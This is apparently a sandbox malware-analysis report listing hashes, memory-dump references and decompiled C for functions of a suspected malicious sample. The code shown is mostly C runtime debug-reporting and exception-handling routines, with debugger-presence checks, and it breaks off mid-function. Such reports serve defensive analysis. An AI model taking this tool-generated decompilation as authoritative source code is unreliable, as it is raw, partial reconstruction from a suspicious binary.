Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: FileFindHandleTime$AtomBoostBuildCommConsoleCopyCreateCursorDriveEnvironmentFirstFreeGlobalInfoLocalLongMailslotMountNameNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStateStringsSystemTimeoutsTypeValueVolume
String ID: Hib rapel cidijuxuxahiz vomu sotucude$Pesepekicik$Yivusamoza bupukojodasukod yelov pabetoxemopaxo fopizibonubiz$duzavijenekekuwatipomanuhidiyililuxilefegovunefonutefubufucolis$h?
API String ID: 4079662386-217731498
Opcode ID: d366a9295d5447f3dcc577c15ad8ad5498d761b55a61dac38e8efed6b28726f4
Instruction ID: a5becd66400debe04fb0ce6a8d631b5339518a9df7a3ab0289d21c525e8b29ac
Opcode Fuzzy Hash: d366a9295d5447f3dcc577c15ad8ad5498d761b55a61dac38e8efed6b28726f4
Instruction Fuzzy Hash: 9F313876802568BFD7119BE4DE089DFBFBCEF4E350B100062F645E2430D6345A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004242B0, Relevance: 7.6, APIs: 5, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0043224D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00432264
UnhandledExceptionFilter.KERNEL32(00406FDC), ref: 0043226F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043228D
TerminateProcess.KERNEL32(00000000), ref: 00432294

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: c2001de7ae81a03fe6f52a3695703c8f5fdc57d37273db63d8ffe9f4c03d40df
Instruction ID: c7ccc09d458354f9ba801e699861adf5562b8fa79beae0e196742eb2893e2f9c
Opcode Fuzzy Hash: c2001de7ae81a03fe6f52a3695703c8f5fdc57d37273db63d8ffe9f4c03d40df
Instruction Fuzzy Hash: 1A211EBCE002808FD700EFA4FD456453BA0FB1A354F4200BAE909A7761E7B16580CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 00434CF0, Relevance: 3.0, APIs: 2, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(0042D729), ref: 00434CF0
DebuggerProbe.LIBCMTD ref: 00434CFF

Part of subcall function 00434D20: RaiseException.KERNEL32(406D1388,00000000,00000006,00001001), ref: 00434D7C

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Debugger$ExceptionPresentProbeRaise
String ID:
API String ID: 680636614-0
Opcode ID: af7215688dfbfa3e584584eac5c61824e5734ddfd82e2f67e0aac8420a7594e2
Instruction ID: 04d3bebc56eafb547288e398210925f0ddae1a3fbf3f25cf43482ac696eb3eda
Opcode Fuzzy Hash: af7215688dfbfa3e584584eac5c61824e5734ddfd82e2f67e0aac8420a7594e2
Instruction Fuzzy Hash: 7FC04C6470010216FB5116B16D457DB2284578C746F5820756E15D5A92FE5DE940D119

Uniqueness

Uniqueness Score: -1.00%

Function 00426E10, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00026DA0), ref: 00426E1A

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6b15fd7f18d38e6cc6445a8d49e5af476af462f4b20277ceb7acf6dcdbd6dfa4
Instruction ID: d929e0cfa4518805f77cf49818ebd4eefc042e7695d31ef1c4c4cf512b3cd181
Opcode Fuzzy Hash: 6b15fd7f18d38e6cc6445a8d49e5af476af462f4b20277ceb7acf6dcdbd6dfa4
Instruction Fuzzy Hash: 89B0123136828C27470013E27C498023ACCC5CC7343E20021F10C85010D862A8004059

Uniqueness

Uniqueness Score: -1.00%

Function 005431FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.660280904.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_7NAzyCWRyM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction ID: b3603b565c51ca430de42f0154743de152e619b83bf4d4e0e8e5619243af1b49
Opcode Fuzzy Hash: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction Fuzzy Hash: F231A0395444599ECF2D4BB0D44A1D1BFA0EF5A308B690DCAC7919FC57CA306487C693

Uniqueness

Uniqueness Score: -1.00%

Function 00543253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.660280904.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_7NAzyCWRyM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: 73b0d487cc3a164bbec300a667518e15c1c20940b62adaa13d6fecbf45992eef
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: 4E31683990485D9A8B2D4B759058191BBA4EF5E308FB60D8AC791AFC57CA306883C693

Uniqueness

Uniqueness Score: -1.00%

Function 00540042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.660280904.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_7NAzyCWRyM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: c6193466792b4c7e6e6509294ed11aba9a1cb743a2c80e82da3f3d58f8e7e2c4
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: F1117C72340100AFEB54DE65DC99FE677EAFB88324B698165EA08CB352D676EC01C760

Uniqueness

Uniqueness Score: -1.00%

Function 0042D85E, Relevance: 93.2, APIs: 28, Strings: 25, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042D85E(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x43de54) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L0041F530(_t210));
						 *(L0041F530( *(L0041F530(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E004346B0(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041EF00( *((intOrPtr*)(L0041F530(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L0041F530(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041FA00(E00421E40(_t208, _t210, _t259, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041FA00(E00421E40(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041FA00(E004319C0(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x43de58 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041FA00(E004319C0(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041FA00(E004319C0(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041FA00(E00421E40(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L0041F530(_t210));
						 *(L0041F530(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BF50( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041EF00( *(L0041F530(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L0041F530(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041FA00(E00421E40(_t208, _t233, _t259, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00435480(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041EF00( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041FA00(E0042ECE0(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x44de94 != 0 ||  *0x44de90 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L004225F0(_t208, _t259, _t261, 0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x44de94; // 0x0
						 *(_t263 - 0x5050) = _t240;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042DDF5();
							goto L44;
						}
						_t240 =  *0x44de90; // 0x0
						 *(_t263 - 0x504c) = _t240;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x44de8c != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x44de8c( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x43de58 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x43de64 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E00422120(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x43de64 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x43de58 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x43de58 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041FA00(E004354B0(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L004284B0(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042DF5F();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E004242B0(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041FA00(E004354B0(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042D760(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042d85e
0x0042d86b
0x0042d918
0x0042d91e
0x0042d92f
0x0042d93a
0x0042d952
0x0042d959
0x0042d95e
0x0042d961
0x0042d96e
0x0042d992
0x0042d997
0x0042d997
0x0042d99a
0x0042d99f
0x0042d9a5
0x0042d9ae
0x0042d9e0
0x0042d9e5
0x0042d9e5
0x0042d9ae
0x0042d9ec
0x0042d9f2
0x0042da00
0x0042d9f4
0x0042d9f4
0x0042d9f4
0x0042da2c
0x0042da3c
0x0042da41
0x0042da41
0x0042da76
0x0042da7b
0x0042da82
0x0042da84
0x0042da91
0x0042dac3
0x0042dac8
0x0042dac8
0x0042daeb
0x0042dafb
0x0042db00
0x0042db00
0x0042db07
0x0042dc17
0x0042dc1c
0x0042db0d
0x0042db0d
0x0042db1e
0x0042db29
0x0042db35
0x0042db36
0x0042db39
0x0042db54
0x0042db59
0x0042db5c
0x0042db69
0x0042db8d
0x0042db92
0x0042db92
0x0042dba0
0x0042dba9
0x0042dbdb
0x0042dbe0
0x0042dbe0
0x0042dbe3
0x0042dc1f
0x0042dc29
0x0042dc48
0x0042dc57
0x0042dc7e
0x0042dc83
0x0042dc8d
0x0042dcbf
0x0042dcc4
0x0042dcc4
0x0042dcce
0x0042dcdd
0x0042dce7
0x0042dcf3
0x0042dcf8
0x0042dcfb
0x0042dd02
0x0042dd08
0x0042dd1f
0x0042dd28
0x0042dd44
0x0042dd4d
0x0042dd4f
0x0042dd54
0x0042dd19
0x00000000
0x0042dd19
0x0042dd56
0x0042dd66
0x00000000
0x0042dd66
0x0042dd77
0x0042dde7
0x0042dde7
0x0042ddee
0x00000000
0x0042ddee
0x0042dd79
0x0042dd7f
0x0042dd96
0x0042dd9f
0x0042ddbb
0x0042ddc4
0x0042ddc6
0x0042ddcb
0x0042dd90
0x00000000
0x0042dd90
0x0042ddcd
0x0042dddd
0x00000000
0x0042dddd
0x00000000
0x0042de00
0x0042de00
0x0042de07
0x0042de14
0x0042de16
0x0042de20
0x0042de32
0x0042de38
0x0042de3d
0x0042de3f
0x0042de49
0x0042de4f
0x0042de4f
0x0042de3d
0x0042de5c
0x0042de6f
0x0042de8e
0x0042de93
0x0042dea9
0x0042dea9
0x0042debc
0x0042dec5
0x0042dec5
0x0042decb
0x0042ded8
0x0042deda
0x0042dee5
0x0042df18
0x0042df1d
0x0042df1d
0x0042df30
0x0042df3f
0x0042df4b
0x0042df4b
0x0042ded8
0x0042de5c
0x0042df51
0x0042df51
0x0042df58
0x0042df71
0x0042df7a
0x0042df82
0x0042df83
0x0042df84
0x0042df92
0x0042df92
0x0042dcce
0x0042d8a2
0x0042d8af
0x0042d8b9
0x0042d8c6
0x0042d8bb
0x0042d8be
0x0042d8be
0x0042d8d0
0x0042d8d7
0x0042d8e2
0x0042d8ef
0x0042d8fa
0x0042d900
0x0042d905
0x00000000

APIs

InterlockedIncrement.KERNEL32(0043DE54), ref: 0042D863
__invoke_watson_if_error.LIBCMTD ref: 0042D8A2
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042D8AF
OutputDebugStringA.KERNEL32(\[@), ref: 0042D8D7
OutputDebugStringA.KERNEL32(, Line ), ref: 0042D8E2
OutputDebugStringA.KERNEL32(?), ref: 0042D8EF
OutputDebugStringA.KERNEL32(00405B50), ref: 0042D8FA
__invoke_watson_if_error.LIBCMTD ref: 0042DAC3

Part of subcall function 0041FA00: __invoke_watson.LIBCMTD ref: 0041FA21

_wcscat_s.LIBCMTD ref: 0042DABA

Part of subcall function 004319C0: __invalid_parameter.LIBCMTD ref: 00431A32

_wcscat_s.LIBCMTD ref: 0042DAF2

Part of subcall function 004319C0: _memset.LIBCMT ref: 00431A9B
Part of subcall function 004319C0: __invalid_parameter.LIBCMTD ref: 00431AF7

__invoke_watson_if_error.LIBCMTD ref: 0042DAFB
__snwprintf_s.LIBCMTD ref: 0042DB54

Part of subcall function 0042BF50: __vsnprintf_s_l.LIBCMTD ref: 0042BF72

__invoke_watson_if_oneof.LIBCMTD ref: 0042DB8D
__invoke_watson_if_error.LIBCMTD ref: 0042DBDB
__invoke_watson_if_oneof.LIBCMTD ref: 0042DC7E
_wcscpy_s.LIBCMTD ref: 0042DCB6
__invoke_watson_if_error.LIBCMTD ref: 0042DCBF
__itow_s.LIBCMTD ref: 0042D899

Part of subcall function 004354B0: _xtow_s@20.LIBCMTD ref: 004354DB

__strftime_l.LIBCMTD ref: 0042D959
__invoke_watson_if_oneof.LIBCMTD ref: 0042D992
__invoke_watson_if_error.LIBCMTD ref: 0042D9E0
__invoke_watson_if_error.LIBCMTD ref: 0042DA3C
__invoke_watson_if_error.LIBCMTD ref: 0042DA76

Strings

e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042DC6E
Assertion failed!, xrefs: 0042DA00
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042DAA4
_CrtDbgReport: String too long or IO Error, xrefs: 0042D9C6, 0042DBC1
%s(%d) : %s, xrefs: 0042DB3E
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042DCA0
t8j, xrefs: 0042DC8D
Second Chance Assertion Failed: File , xrefs: 0042D8AA
, Line , xrefs: 0042D8DD
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042DBBC
t9j, xrefs: 0042DEE5
<file unknown>, xrefs: 0042D8C6
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042DA55
PN?, xrefs: 0042DA6C
(*_errno()), xrefs: 0042D981, 0042DB7C
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042DA1B
\[@, xrefs: 0042D8D0, 0042D8D6
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042DADC
Assertion failed: , xrefs: 0042D9F4
_VCrtDbgReportA, xrefs: 0042D87D, 0042D97C, 0042D9BC, 0042DA16, 0042DA50, 0042DA9F, 0042DAD7, 0042DB77, 0042DBB7, 0042DC69, 0042DC9B, 0042DEF3
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042D878, 0042D977, 0042D9B7, 0042DA11, 0042DA4B, 0042DA9A, 0042DAD2, 0042DB72, 0042DBB2, 0042DC64, 0042DC96, 0042DEEE
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042D882, 0042DEF8
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042D9C1
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042DCA5
R,x, xrefs: 0042DC4E

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$__invoke_watson_if_oneof$__invalid_parameter_wcscat_s$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_wcscpy_s_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $PN?$R,x$Second Chance Assertion Failed: File $\[@$_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 1960883256-93827172
Opcode ID: 50e762545d02bceeaeb1fe17638501a9e1e15a65c38207a92ff5d57d8ce7fb10
Instruction ID: 89d294f236e6abe4701b49ceda96e8c54b9654c289c099628ba68c4430a70261
Opcode Fuzzy Hash: 50e762545d02bceeaeb1fe17638501a9e1e15a65c38207a92ff5d57d8ce7fb10
Instruction Fuzzy Hash: 0C0295B1E40B14ABDB20DF50DC4AFDF7774AB14745F9440AAB6087A2C1D678AA84CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0042635A, Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 382
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0042635A(void* __edi) {
				signed int _t818;
				intOrPtr* _t820;
				signed int _t825;
				void* _t830;
				void* _t838;
				signed char _t842;
				signed int _t845;
				intOrPtr _t847;
				signed int _t858;
				signed char _t939;
				signed char _t941;
				signed int _t944;
				signed int _t948;
				signed int _t951;
				void* _t962;
				signed int _t973;
				signed char _t974;
				signed int _t976;
				signed int _t982;
				signed char _t985;
				signed char _t986;
				signed int _t993;
				signed int _t1001;
				signed int _t1002;
				signed int _t1008;
				signed char _t1010;
				signed int _t1016;
				signed char _t1017;
				signed char _t1019;
				void* _t1020;
				signed int _t1037;
				signed int _t1042;
				signed int _t1049;
				signed int _t1123;
				signed int _t1138;
				signed int _t1177;
				signed int _t1183;
				intOrPtr _t1242;
				signed int _t1272;
				void* _t1273;
				void* _t1274;
				signed int _t1275;
